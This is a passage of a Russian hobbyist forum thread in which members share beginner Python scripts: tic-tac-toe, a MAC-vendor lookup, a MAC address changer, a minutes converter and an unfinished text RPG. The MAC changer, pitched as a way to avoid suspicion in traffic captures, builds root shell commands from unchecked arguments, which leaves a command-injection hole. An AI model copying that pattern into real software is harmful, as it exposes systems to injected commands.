Ваши программы на Python

S

sasha20l

Крестики нолики. Писал сам с нуля, отчего код громострий, страшный и запутанный.
Возможно Вы тоже когда только начинали, писали нечто подобное))
Скажем так, получились не типовые крестики нолики)

Код:
nolik = '\033[92mO\033[0m'
krestik = '\033[91mX\033[0m'
play_1 = '\033[92mИгрок № 1\033[0m'
play_2 = '\033[91mИгрок № 2\033[0m'

Player_1 = [nolik,0,play_1]
Player_2 = [krestik,0,play_2]
Players = [Player_1,Player_2]

pole_nums = {'num_1':1,'num_2':2,'num_3':3,'num_4':4,
    'num_5':5,'num_6':6,'num_7':7,'num_8':8,'num_9':9}
list = []
def pole ():
    print ("","","-------------------","\n"," | ",pole_nums['num_1']," | ",pole_nums['num_2']," | ",pole_nums['num_3'],
    " | ","\n"," -------------------","\n"," | ",pole_nums['num_4']," | ",pole_nums['num_5'],
" | ",pole_nums['num_6']," | ","\n"," -------------------","\n"," | ",pole_nums['num_7']," | ",
pole_nums['num_8']," | ",pole_nums['num_9']," | ","\n"," -------------------")

def Player_input():
    while True:
        try:
            Pl_input = int(input("Укажите клетку c цифрой: "))
            if Pl_input > 9:
                pole ()
                print ("Введите значение от 1 до 9")
            elif Pl_input < 1:
                pole ()
                print ("Введите значение от 1 до 9")
            else:
                return Pl_input
        except ValueError:
            pole ()
            print ("Введите целое числовое значение")
def proverka():
    while True:
        num = Player_input()
        if num not in list:
            return num
        else:
            pole ()
            print('Эта клетка уже занята!')
def game():
    for pl in Players:
        print(pl[2],"Вам необходимо указать клетку c цифрой от 1 до 9","\n",
        "где будет стоять Ваш",pl[0])
        pole ()
        num = proverka()
        list.append(num)
        for i in range(1,10):
            if num == i:
                i = str(i)
                pole_nums['num_'+i]=pl[0]
                pole ()
                win(pl)

def win(pl):
    if pole_nums['num_1'] == pole_nums['num_2'] == pole_nums['num_3']:
        winner(pl)
    elif pole_nums['num_4'] == pole_nums['num_5'] == pole_nums['num_6']:
        winner(pl)
    elif pole_nums['num_7'] == pole_nums['num_8'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_1'] == pole_nums['num_4'] == pole_nums['num_7']:
        winner(pl)
    elif pole_nums['num_2'] == pole_nums['num_5'] == pole_nums['num_8']:
        winner(pl)
    elif pole_nums['num_3'] == pole_nums['num_6'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_1'] == pole_nums['num_5'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_7'] == pole_nums['num_5'] == pole_nums['num_3']:
        winner(pl)
    elif len(list) == 9:
        pole_nums ['num_1'] = 1
        pole_nums ['num_2'] = 2
        pole_nums ['num_3'] = 3
        pole_nums ['num_4'] = 4
        pole_nums ['num_5'] = 5
        pole_nums ['num_6'] = 6
        pole_nums ['num_7'] = 7
        pole_nums ['num_8'] = 8
        pole_nums ['num_9'] = 9
        del list[:]
        print("Ничья!!!")

def winner(pl):
    pl[1] = pl[1]+1
    print(pl[2]," победил в ",pl[1]," раз!")
    print("~"*20,"ТАБЛИЦА РЕКОРДОВ","~"*20,"\n","\n",play_1,"   победил   ",
    Player_1[1]," раз","\n","\n",play_2,"   победил   ",
    Player_2[1]," раз","\n","\n")
    pole_nums ['num_1'] = 1
    pole_nums ['num_2'] = 2
    pole_nums ['num_3'] = 3
    pole_nums ['num_4'] = 4
    pole_nums ['num_5'] = 5
    pole_nums ['num_6'] = 6
    pole_nums ['num_7'] = 7
    pole_nums ['num_8'] = 8
    pole_nums ['num_9'] = 9
    del list[:]
while True:
    game()

Улучшил код. Сделал красивее отображение игры (убирает старые значение в консоли)
Также добавил вопрос к игроку, желает ли он продолжить играть.

Код:
'''
nolik = '\033[92mO\033[0m'
krestik = '\033[91mX\033[0m'
play_1 = '\033[92mИгрок № 1\033[0m'
play_2 = '\033[91mИгрок № 2\033[0m'

Player_1 = [nolik,0,play_1]
Player_2 = [krestik,0,play_2]
Players = [Player_1,Player_2]

pole_nums = {'num_1':1,'num_2':2,'num_3':3,'num_4':4,
    'num_5':5,'num_6':6,'num_7':7,'num_8':8,'num_9':9}
list = []
def pole ():
    print ("","","-------------------","\n"," | ",pole_nums['num_1']," | ",pole_nums['num_2']," | ",pole_nums['num_3'],
    " | ","\n"," -------------------","\n"," | ",pole_nums['num_4']," | ",pole_nums['num_5'],
" | ",pole_nums['num_6']," | ","\n"," -------------------","\n"," | ",pole_nums['num_7']," | ",
pole_nums['num_8']," | ",pole_nums['num_9']," | ","\n"," -------------------")

def Player_input(pl):
    while True:
        try:
            print("Что-бы поставить ",pl[0])
            Pl_input = int(input("укажите клетку c цифрой: "))
            if Pl_input > 9:
                pole ()
                print (pl[2]," введите значение от 1 до 9: ")
            elif Pl_input < 1:
                pole ()
                print (pl[2]," введите значение от 1 до 9: ")
            else:
                return Pl_input
        except ValueError:
            pole ()
            print (pl[2]," введите целое числовое значение: ")
def proverka(pl):
    while True:
        num = Player_input(pl)
        if num not in list:
            print("\n" * 20)
            return num
        else:
            pole ()
            print(pl[2],'эта клетка уже занята!')
def game():
    for pl in Players:
        print('\r', end='')
        print(pl[2],"Вам необходимо указать клетку c цифрой от 1 до 9","\n",
        "где будет стоять Ваш",pl[0])
        pole()
        num = proverka(pl)
        list.append(num)
        for i in range(1,10):
            if num == i:
                i = str(i)
                pole_nums['num_'+i]=pl[0]
                win(pl)
def win(pl):
    if pole_nums['num_1'] == pole_nums['num_2'] == pole_nums['num_3']:
        winner(pl)
    elif pole_nums['num_4'] == pole_nums['num_5'] == pole_nums['num_6']:
        winner(pl)
    elif pole_nums['num_7'] == pole_nums['num_8'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_1'] == pole_nums['num_4'] == pole_nums['num_7']:
        winner(pl)
    elif pole_nums['num_2'] == pole_nums['num_5'] == pole_nums['num_8']:
        winner(pl)
    elif pole_nums['num_3'] == pole_nums['num_6'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_1'] == pole_nums['num_5'] == pole_nums['num_9']:
        winner(pl)
    elif pole_nums['num_7'] == pole_nums['num_5'] == pole_nums['num_3']:
        winner(pl)
    elif len(list) == 9:
        print("Ничья!!!")
        contin ()
def contin ():
    print('\r', end='')
    print ("Сыграем еще ? 1 - да, 2 - нет")
    while True:
        con = str(input("1 или 2: "))
        if con == "1":
            pole_nums ['num_1'] = 1
            pole_nums ['num_2'] = 2
            pole_nums ['num_3'] = 3
            pole_nums ['num_4'] = 4
            pole_nums ['num_5'] = 5
            pole_nums ['num_6'] = 6
            pole_nums ['num_7'] = 7
            pole_nums ['num_8'] = 8
            pole_nums ['num_9'] = 9
            del list[:]
            print('\r', end='')
            break
        elif con == "2":
            exit(0)
        else:
            print ("Введите значение именно 1(да) или 2(нет)")
def winner(pl):
    pl[1] = pl[1]+1
    print(pl[2]," победил в ",pl[1]," раз!")
    print("~"*20,"ТАБЛИЦА РЕКОРДОВ","~"*20,"\n","\n",play_1,"   победил   ",
    Player_1[1]," раз","\n","\n",play_2,"   победил   ",
    Player_2[1]," раз","\n")
    pole ()
    contin ()
while True:
    game()
 

Rand0m_M

Green Team
16.04.2018
33
28
BIT
1
Накидал небольшой скриптик для пробивона производителя по mac адресу, для использования нужен интернет так как используется стороннее api, использование: python3 macvend.py 18:21:95:A5:70:09
использует модуль requests, и если он не установлен то будет использовать стандартный urllib.
Можно дбавить шебанг для линукса, вот так #!/usr/bin/env python3 , переименовать, убрав расширение файла и закинуть в /usr/bin дав предварительно права на запуск, команда станет доступна в консольке и будет работать так: macvend 18:21:95:A5:70:09 У себя так и сделал.
Python:
import sys
mac = sys.argv[1]
try:
    import requests
    responce = requests.get('https://api.macvendors.com/'+mac)
    if responce.status_code == 200:
        print(responce.text)
    else:
        print('Vendor not found.')
except ImportError:
    from urllib import request, error
    try:
        responce = request.urlopen('https://api.macvendors.com/'+mac)
        print(responce.read().decode('utf-8'))
    except error.HTTPError:
        print('Vendor not found.')
Ну и сам файлик:

Заметил что у многих проблема с macchanger и со сменой мака, набросал небольшой собственный ченжер, пользоваться легко:
python3 macch.py eth0 от рута. Вместо eth0 подставить нужный интерфейс. Генерит валидный мак адрес, тоесть адрес будет пробиватся по базе производителей, для всяких ваиршарков думаю будет полезно, не будет вызывать подозрение не коректным, полностью рандомным адресом, в списке собраны основные производители, список можно расширить для большей рандомности, но хватает пока и так. Можно точно также прикрутить шебанг #!/usr/bin/env/ python3 дать права на запуск и прикрутить запуск скрипта по рутовому крону, скажем каждые 15 минут. Скрипт написан для linux.

Python:
import random
import subprocess
import sys

oui = ('b4:99:ba:','e0:43:db:','00:50:ba:','cc:46:d6:','48:ad:08:',
        'bc:ec:23:','38:f2:3e:','80:7a:bf:','00:1a:11:','00:11:75:',
        '74:a7:8e:','8c:21:0a:','e4:d5:3d:','00:15:58:','00:50:56:',
        '00:e0:18:','74:5f:00:','bc:3b:af:','00:19:66:','00:08:ca:',
        '40:cb:c0:','18:87:96:','f4:ca:24:','00:16:cf:','00:07:e9:',
        '84:10:0d:','75:5a:67:','6c:e3:b6:','94:2c:b3:','00:40:26:',
        'c0:98:79:','b0:45:15:','10:12:18:','64:00:2d:','ec:80:09:','00:16:d4:')

link = sys.argv[1]

def changemac(mac):
    subprocess.Popen('ip link set '+link+' down',shell=True)
    subprocess.Popen('ip link set '+link+' address '+mac,shell=True)
    subprocess.Popen('ip link set '+link+' up',shell=True)

def validmac():
    rnum = random.choice(range(16**6))
    hex_num = hex(rnum)[2:].zfill(6)
    mac = "{}{}{}:{}{}:{}{}".format(random.choice(oui),*hex_num)
    print('Новый mac адрес на интерфейсе '+link,mac)
    return mac
changemac(validmac())

Допилил чуток свой макченжер, добавил возможность генерировать полностью рандомный мак, а также добавил возможность указать конкретный мак какой нужно добавить на интерфейс.
Использование: скачать файлик, переименовать дав ему разширение *.py и запустить. Ну или воопче без расширения добавить шебанг и права на запуск.
python3 macch.py -i eth0 Сенерировать валидный мак аддрес и назначить интерфейсу eth0
python3 macch.py -i wlan0 -m 00:22:33:44:55:66 Назначить указаный мак адрес интерфейсу wlan0
python3 macch.py -i wlan0 -r Сгенерировать полностью случайный мак вдрес и назначить интерфейсу wlan0

Python:
import random
import subprocess
import argparse

desc = 'Скрипт для смены mac адреса'
epilog = '''
Использование:
  macch.py -i eth0                         Сенерировать валидный мак аддрес и назначить интерфейсу eth0
  macch.py -i wlan0 -m 00:22:33:44:55:66   Назначить указаный мак адрес интерфейсу wlan0
  macch.py -i wlan0 -r                     Сгенерировать полностью случайный мак адрес и назначить интерфейсу wlan0
'''
parser = argparse.ArgumentParser(description=desc,add_help=False,epilog=epilog,usage=argparse.SUPPRESS,formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument('-i',dest='interface',help='Имя интерфейса на котором нужно поменять mac')
parser.add_argument('-m',dest='mac',help='Установить этот mac адрес, формат xx:xx:xx:xx:xx:xx')
parser.add_argument('-r',dest='frandom',action='store_true',help='Полностью рандомный mac, если не задано генерируется валидный')
parser.add_argument('-h','--help',action='help',default=argparse.SUPPRESS,help='Показать эту справку и выйти')
parser._optionals.title = 'Опциональные аргументы'
args = parser.parse_args()

if args.frandom is False and args.interface is None:
    exit(parser.print_help())
elif args.frandom and args.mac is not None and args.interface is None:
    exit(parser.print_help())
elif args.frandom and args.mac is None and args.interface is None:
    exit(parser.print_help())

oui =  ('b4:99:ba:','e0:43:db:','00:50:ba:','cc:46:d6:','48:ad:08:',
        'bc:ec:23:','38:f2:3e:','80:7a:bf:','00:1a:11:','00:11:75:','c4:e9:84:',
        '74:a7:8e:','8c:21:0a:','e4:d5:3d:','00:15:58:','00:50:56:','04:b1:67:',
        '00:e0:18:','74:5f:00:','bc:3b:af:','00:19:66:','00:08:ca:','54:fc:f0:',
        '40:cb:c0:','18:87:96:','f4:ca:24:','00:16:cf:','00:07:e9:','00:01:42:',
        '84:10:0d:','75:5a:67:','6c:e3:b6:','94:2c:b3:','00:40:26:','00:01:24:',
        'c0:98:79:','b0:45:15:','10:12:18:','64:00:2d:','ec:80:09:','00:16:d4:')

link = args.interface
def changemac(mac):
    subprocess.Popen('ip link set '+link+' down',shell=True)
    subprocess.Popen('ip link set '+link+' address '+mac,shell=True)
    subprocess.Popen('ip link set '+link+' up',shell=True)

def validmac():
    rnum = random.choice(range(16**6))
    hex_num = hex(rnum)[2:].zfill(6)
    mac = "{}{}{}:{}{}:{}{}".format(random.choice(oui),*hex_num)
    print('Новый валидный mac адрес на интерфейсе '+link,mac)
    return mac

def fullrandommac():
    octet = '%x%s:' % (random.randint(0x0,0xf),random.choice((0,2,4,6,8,'a','c','e')))
    mac = octet+':'.join(("%012x" % random.randint(0x0, 0xFFFFFFFFFFFF))[i:i+2] for i in range(0, 10, 2))
    print('Новый случайный mac адрес на интерфейсе '+link,mac)
    return mac

if args.mac is not None:
    mac = args.mac
    changemac(mac)
    print('Новый mac на интерфейсе '+link,mac)
elif args.frandom is False:
    changemac(validmac())
elif args.frandom:
    changemac(fullrandommac())

Выловил ошибку в мак ченжере, проявлялось иногда такое: RTNETLINK answers: Device or resource busy, все дело в том что subprocess.Popen() запускает процесы паралельно, тоесть не ждёт завершения первого запущеного процеса перед запуском второго, и вследствии этого не всегда успевала отработать системная команда ip link, как уже запускалась следующая. Решить можно было написав запуск одной командой через subprocess.Popen() так: ip link ... && ip link ... && ip link .., но я подумал что это както не по питоновски и решил это так: subprocess.call(), этот метод аналогичен методу subprocess.Popen().wait() только меньше писанины. По сути это означает запуск следующего процеса только тогда, когда завершится предыдущий. Тесты показали что ошибка RTNETLINK answers: Device or resource busy исчезла. Немного расширил список с производителями для генерации валидного мака.

Использование: код скопировать\вставить, обозвать macch.py и запустить (от root) python3 macch.py :)

Python:
import random
import subprocess
import argparse

desc = 'Скрипт для смены mac адреса'
epilog = '''
Использование:
  macch.py -i eth0                         Сенерировать валидный мак аддрес и назначить интерфейсу eth0
  macch.py -i wlan0 -m 00:22:33:44:55:66   Назначить указаный мак адрес интерфейсу wlan0
  macch.py -i wlan0 -r                     Сгенерировать полностью случайный мак адрес и назначить интерфейсу wlan0
'''
parser = argparse.ArgumentParser(description=desc,add_help=False,epilog=epilog,usage=argparse.SUPPRESS,formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument('-i',dest='interface',help='Имя интерфейса на котором нужно поменять mac')
parser.add_argument('-m',dest='mac',help='Установить этот mac адрес, формат xx:xx:xx:xx:xx:xx')
parser.add_argument('-r',dest='frandom',action='store_true',help='Полностью рандомный mac, если не задано генерируется валидный')
parser.add_argument('-h','--help',action='help',default=argparse.SUPPRESS,help='Показать эту справку и выйти')
parser._optionals.title = 'Опциональные аргументы'
args = parser.parse_args()

if args.frandom is False and args.interface is None:
    exit(parser.print_help())
elif args.frandom and args.mac is not None and args.interface is None:
    exit(parser.print_help())
elif args.frandom and args.mac is None and args.interface is None:
    exit(parser.print_help())

oui =  ('b4:99:ba:','e0:43:db:','00:50:ba:','cc:46:d6:','48:ad:08:','f0:a2:25:','8c:f5:a3:','d4:6e:0e:','e4:58:b8:','00:1c:26:',
        'bc:ec:23:','38:f2:3e:','80:7a:bf:','00:1a:11:','00:11:75:','c4:e9:84:','00:08:22:','28:28:5d:','d4:a1:48:','30:92:f6:',
        '74:a7:8e:','8c:21:0a:','e4:d5:3d:','00:15:58:','00:50:56:','04:b1:67:','bc:75:74:','80:26:89:','14:36:c6:','0c:8f:ff:',
        '00:e0:18:','74:5f:00:','bc:3b:af:','00:19:66:','00:08:ca:','54:fc:f0:','18:21:95:','00:0e:8f:','00:1f:ce:','98:0c:a5:',
        '40:cb:c0:','18:87:96:','f4:ca:24:','00:16:cf:','00:07:e9:','00:01:42:','30:75:12:','54:27:58:','f4:6d:0d:','00:c0:ca:','94:b1:0a:',
        '84:10:0d:','75:5a:67:','6c:e3:b6:','94:2c:b3:','00:40:26:','00:01:24:','e8:94:f6:','68:05:71:','c0:4a:00:','64:bc:0c:','b8:08:d7:',
        'c0:98:79:','b0:45:15:','10:12:18:','64:00:2d:','ec:80:09:','00:16:d4:','bc:72:b1:','94:44:44:','64:66:b3:','e0:aa:96:','b0:55:08:')

link = args.interface
def changemac(mac):
    subprocess.call('ip link set '+link+' down',shell=True)
    subprocess.call('ip link set '+link+' address '+mac,shell=True)
    subprocess.call('ip link set '+link+' up',shell=True)

def validmac():
    rnum = random.choice(range(16**6))
    hex_num = hex(rnum)[2:].zfill(6)
    mac = "{}{}{}:{}{}:{}{}".format(random.choice(oui),*hex_num)
    print('Новый валидный mac адрес на интерфейсе '+link,mac)
    return mac

def fullrandommac():
    octet = '%x%s:' % (random.randint(0x0,0xf),random.choice((0,2,4,6,8,'a','c','e')))
    mac = octet+':'.join(("%012x" % random.randint(0x0, 0xFFFFFFFFFFFF))[i:i+2] for i in range(0, 10, 2))
    print('Новый случайный mac адрес на интерфейсе '+link,mac)
    return mac

if args.mac is not None:
    mac = args.mac
    changemac(mac)
    print('Новый mac на интерфейсе '+link,mac)
elif args.frandom is False:
    changemac(validmac())
elif args.frandom:
    changemac(fullrandommac())
 

Вложения

  • macvend.txt
    423 байт · Просмотры: 314
  • macch.txt
    3,2 КБ · Просмотры: 331
Последнее редактирование:

wj6zc

Green Team
06.07.2018
17
11
BIT
0
Вот такая поделка, за пару дней изучения с нуля, на тему конвертация.
Выслушаю предложения по уменьшению количества кода.

Python:
import time
from datetime import datetime

# Перевод минут в минуты / часы / дни / месяцы / года
def clock():
    m=-1
    while True: # Ввод значения. Выход, если "q"
        m = str(input('Enter minutes: '))
        try:
            if m.isalpha():
                if m =='q':
                    print('Exiting...\n')
                    time.sleep(1)
                    break
                print('Enter positive number or Type "q" for exit\n')
            elif m == '-0' or int(m) < 0:
                print('Enter positive number or Type "q" for exit\n')
            else:
                h=d=mon=y=0
                m = int(m)
                h = m // 60
                m = m - (h * 60)
                if (h >= 24):
                    d = h // 24
                    h = h - 24*d
                    if (d >= 30):
                        mon = d // 30
                        d = d - 30*mon
                        if (mon >= 12):
                            y = mon // 12
                            mon = mon - 12*y
                if y: print ('Years: ', y)
                if mon: print ('Months: ', mon)
                if d: print ('Days: ', d)
                print ('Hours: ', h)
                print ('Minutes: ', m)

        except ValueError as ValErr:
            print('Enter positive number or Type "q" for exit\n')
        #  print('ValueError: ', ValErr)    #для отладки

def localtime():
  print('Local time: ', str(datetime.now().time())[:8])

# Вывод информации
def info():
  print('U can use these options: info, clock, exit\n')

# Интерактивная часть
def main():
  localtime()
  greet = 'Hi!'
  question = 'What we gonna do now? (Type \'info\' for help): \n'
  print(greet)
  while True:
    s = str(input(question))
    if s.isalpha():
      if s == 'info':
        info()
      elif s == 'clock':
        print('Type q for exit')
        clock()
      elif s == 'exit':
        print('Bye!')
        time.sleep(1)
        break

if __name__ == '__main__':
  try:
    main()
  except KeyboardInterrupt:
    exit()
 
  • Нравится
Реакции: Tihon49

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Выслушаю предложения по уменьшению количества кода.

Вот эта прелюдия совершенно не нужна What we gonna do now? (Type 'info' for help):
Начните сразу с этого Enter minutes: И после первой итерации, спрашивайте выйти? да/нет
А то каждый раз вводить info для того чтобы узнать то, что при первом запуске уже узнал, как-то не комильфо. И код станет уже короче.
 

wj6zc

Green Team
06.07.2018
17
11
BIT
0
Вот эта прелюдия совершенно не нужна
Согласен, не нужна в текущем виде. Она была добавлена лишь с расчётом на расширение функционала.
Но пока что программа выполняет только одну задачу.

Сейчас подумал и вынес весь этот интерактив ещё в отдельную функцию. Не знаю насколько это вообще оправданно и несёт ли какую-то пользу, пока что будет так.
 
S

sasha20l

Текстовый рпг файтинг на двоих. Выбирайте оружие, броню, класс и вперед.

Код:
import random
import copy

Name_1=""
Name_2=""

x = 0
y = 0
i = '\033[92m|\033[0m'
i_2 = '\033[92m-\033[0m'
at_noDEF = None
Pl_input = None # Введеное значение
AT = [0,0,0,5,1] # Атакуещие характеристики (мин урон,макс урон,точность атаки в %,критический удар,коэф крит удара)
AT_DF = (0,0) # шанс повредить броню (% на -1 DEF, % на -2 DEF)
DEF = [10] # (броня уменьшает урон на то значение что имеет, % шанса разрушить 1 броню врагу,% шанса разрушить 2 брони)
AGI = [0,0,1] # уклон (шанс уклона в %,шанс в % контроатаковать если уклон удался, коэф контр)
AT_1 = [0,0,0,5,1] # у второго персонажа
AT_DF_1 = (0,0) # у второго персонажа
DEF_1 = [10] # у второго персонажа
AGI_1 = [0,0,1] # у второго персонажа
LIFE_1 = 0  # у второго персонажа
LIFE = 0 # жизнь
at = 0 # единоразовый урон
Energy = [0,0,0] # энергия игрока 1, прибавка манны за ход, максимальное количество энергии
Energy_1 = [0,0,0] # энергия игрока 2, прибавка манны за ход,максимальное количество энергии
rand_AT = [0,0,0,0,0] # рандом
rand_DEF = [0] # рандом
rand_AGI = [0,0,0] # рандом
rand_LIFE = 0 # рандом
rand_Energy = [0,0,0] # рандом
player_inoy = None
copy_pl1 = copy.copy(LIFE)
copy_pl2 = copy.copy(LIFE_1)
player_1 = [Name_1,Name_2,AT,AT_DF,DEF,AGI,LIFE,Energy,copy_pl1]# - Игрок 1
player_2 = [Name_2,Name_1,AT_1,AT_DF_1,DEF_1,AGI_1,LIFE_1,Energy_1,copy_pl2]# - Игрок 2


warrior = [player_1,player_2]
print("\x1b[96m", player_1[0], "\x1b[0m")
print("\x1b[93m", player_2[0], "\x1b[0m")

def Player_input_class():
    for player in warrior:
        if player==player_1:
            print("\x1b[96m", player_1[0], "\x1b[0m","вам необходимо настроить своего бойца")
            print("\x1b[93m",player_2[0],"\x1b[0mне должен видеть что вы ему приготовили")
            print("\x1b[96m", player_1[0], "\x1b[0m","Вы готовы?")
        if player==player_2:
            print("\x1b[93m", player_2[0], "\x1b[0m","вам необходимо настроить своего бойца")
            print("\x1b[96m",player_1[0],"\x1b[0mне должен видеть что вы ему приготовили")
            print("\x1b[93m", player_2[0], "\x1b[0m","Вы готовы?")
        while True:
            try:
                Pl_input = int(input("1 - да 2 - незнаю....:"))
                if Pl_input == 1:
                    class_game (player)
                    random_point(player)
                    weapon(player)
                    bron(player)
                    info(player)
                    while True:
                        try:
                            Pl_input = int(input("1 - оставить 2 - переделать все с самого начала:"))
                            if Pl_input == 1:
                                print("\n"*60)
                                break
                            elif Pl_input == 2:
                                break
                            else:
                                print ("нажмите 1 или 2")
                        except ValueError:
                            print("нажмите 1 или 2")
                    if Pl_input== 1:
                        break
                    player[2][0]=0
                    player[2][1]=0
                    player[2][2]=0
                    player[2][3]=5
                    player[2][4]=2
                    player[4][0]=0
                    player[5][0]=0
                    player[5][1]=0
                    player[5][2]=2
                    player[6]=0
                    player[7][0]=0
                    player[7][1]=0
                    player[7][2]=0
                else:
                    print ("подумайте еще немного")
                        
            except ValueError:
                print("подумайте еще немного")
def bron(player):
    print ("","",i_2*115,"\n",i,"\x1b[34mНАЖМИТЕ 1\x1b[0m",i, "ЖИЗ  50  ","",i,"УКЛ  4%  ",i,"ЗАЩ  10  ",i,"коэф.КР   1  ","",i,"коэф.КА   1  ",i)
    print ("","",i_2*115,"\n",i,"\x1b[34mНАЖМИТЕ 2\x1b[0m",i, "ЖИЗ  50  ","",i,"УКЛ  7%  ",i,"ЗАЩ  5  ",i,"коэф.КР  0.7 ","",i,"коэф.КА  0.7  ",i)
    print ("","",i_2*115,"\n",i,"\x1b[34mНАЖМИТЕ 3\x1b[0m",i, "ЖИЗ 100  ","",i,"УКЛ  2%  ",i,"ЗАЩ  5  ",i,"коэф.КР  0.7 ","",i,"коэф.КА  0.7  ",i)
    print ("","",i_2*115,"\n",i,"\x1b[34mНАЖМИТЕ 4\x1b[0m",i, "ЖИЗ  50  ","",i,"УКЛ  2%  ",i,"ЗАЩ 20  ",i,"коэф.КР  0.7 ","",i,"коэф.КА  0.7  ",i)
    print ("","",i_2*115,"\n",i,"\x1b[34mНАЖМИТЕ 5\x1b[0m",i, "ЖИЗ -25  ","",i,"УКЛ 10%  ",i,"ЗАЩ -5  ",i,"коэф.КР  0.5  ","",i,"коэф.КА  0.5  ",i)
    print ("","",i_2*115,"\n",i,"\x1b[34mНАЖМИТЕ 6\x1b[0m",i, "ЖИЗ 200  ","",i,"УКЛ -2%  ",i,"ЗАЩ -5  ",i,"коэф.КР  0.5  ","",i,"коэф.КА  0.5  ",i)
    print ("","",i_2*115,"\n",i,"\x1b[34mНАЖМИТЕ 7\x1b[0m",i, "ЖИЗ -25  ","",i,"УКЛ -2%  ",i,"ЗАЩ   30 ",i,"коэф.КР  0.5 ","",i,"коэф.КА  0.5  ",i,"\n","","",i_2*115)
    print("\n","Выберете ","\x1b[34mБРОНЮ\x1b[0m")
    while True:
        try:
            info(player)
            Pl_input_class_game = int(input("1 - 7 :"))
            if Pl_input_class_game<1:
                print ("ведите значение от 1 до 7")
            elif Pl_input_class_game>7:
                print ("ведите значение от 1 до 7")
            elif Pl_input_class_game == 1:
                player[6]=player[6]+50
                player[5][0]=player[5][0]+4
                player[4][0]=player[4][0]+10
                player[2][4]=player[2][4]+1
                player[5][2]=player[5][2]+1
                break
            elif Pl_input_class_game == 2:
                player[6]=player[6]+50
                player[5][0]=player[5][0]+7
                player[4][0]=player[4][0]+5
                player[2][4]=player[2][4]+0.7
                player[5][2]=player[5][2]+0.7
                break
            elif Pl_input_class_game == 3:
                player[6]=player[6]+100
                player[5][0]=player[5][0]+2
                player[4][0]=player[4][0]+5
                player[2][4]=player[2][4]+0.7
                player[5][2]=player[5][2]+0.7
                break
            elif Pl_input_class_game == 4:
                player[6]=player[6]+50
                player[5][0]=player[5][0]+2
                player[4][0]=player[4][0]+20
                player[2][4]=player[2][4]+0.7
                player[5][2]=player[5][2]+0.7
                break
            elif Pl_input_class_game == 5:
                player[6]=player[6]-25
                player[5][0]=player[5][0]+10
                player[4][0]=player[4][0]-5
                player[2][4]=player[2][4]+0.5
                player[5][2]=player[5][2]+0.5
                break
            elif Pl_input_class_game == 6:
                player[6]=player[6]+200
                player[5][0]=player[5][0]-2
                player[4][0]=player[4][0]-5
                player[2][4]=player[2][4]+0.5
                player[5][2]=player[5][2]+0.5
                break
            elif Pl_input_class_game == 7:
                player[6]=player[6]-25
                player[5][0]=player[5][0]-2
                player[4][0]=player[4][0]+30
                player[2][4]=player[2][4]+0.5
                player[5][2]=player[5][2]+0.5
                break
        except ValueError:
            print("введите значение от 1 до 7")
def weapon(player):
    input("нажмите Enter")
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 1\x1b[0m",i, "МИН.ур  50  ","",i,"МАК.ур 100  ",i,"ТОЧ  95% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 2\x1b[0m",i, "МИН.ур   1  ","",i,"МАК.ур 150  ",i,"ТОЧ  95% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 3\x1b[0m",i, "МИН.ур  75  ","",i,"МАК.ур  75  ",i,"ТОЧ  95% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 4\x1b[0m",i, "МИН.ур  70  ","",i,"МАК.ур 140  ",i,"ТОЧ  75% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 5\x1b[0m",i, "МИН.ур  10  ","",i,"МАК.ур 210  ",i,"ТОЧ  75% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 6\x1b[0m",i, "МИН.ур 105  ","",i,"МАК.ур 105  ",i,"ТОЧ  75% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 7\x1b[0m",i, "МИН.ур  90  ","",i,"МАК.ур 180  ",i,"ТОЧ  55% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 8\x1b[0m",i, "МИН.ур  20  ","",i,"МАК.ур 270  ",i,"ТОЧ  55% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 9\x1b[0m",i, "МИН.ур 135  ","",i,"МАК.ур 135  ",i,"ТОЧ  55% ",i,"КРТ  10% ","",i,"КА  20% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 10\x1b[0m",i,"МИН.ур 40  ","",i,"МАК.ур  85  ",i,"ТОЧ  95% ",i,"КРТ  20% ","",i,"КА  40% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 11\x1b[0m",i,"МИН.ур  1  ","",i,"МАК.ур 130  ",i,"ТОЧ  95% ",i,"КРТ  20% ","",i,"КА  40% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 12\x1b[0m",i,"МИН.ур 62  ","",i,"МАК.ур  62  ",i,"ТОЧ  95% ",i,"КРТ  20% ","",i,"КА  40% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 13\x1b[0m",i,"МИН.ур 58  ","",i,"МАК.ур 121  ",i,"ТОЧ  75% ",i,"КРТ  20% ","",i,"КА  40% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 14\x1b[0m",i,"МИН.ур  4  ","",i,"МАК.ур 184  ",i,"ТОЧ  75% ",i,"КРТ  20% ","",i,"КА  40% ",i)
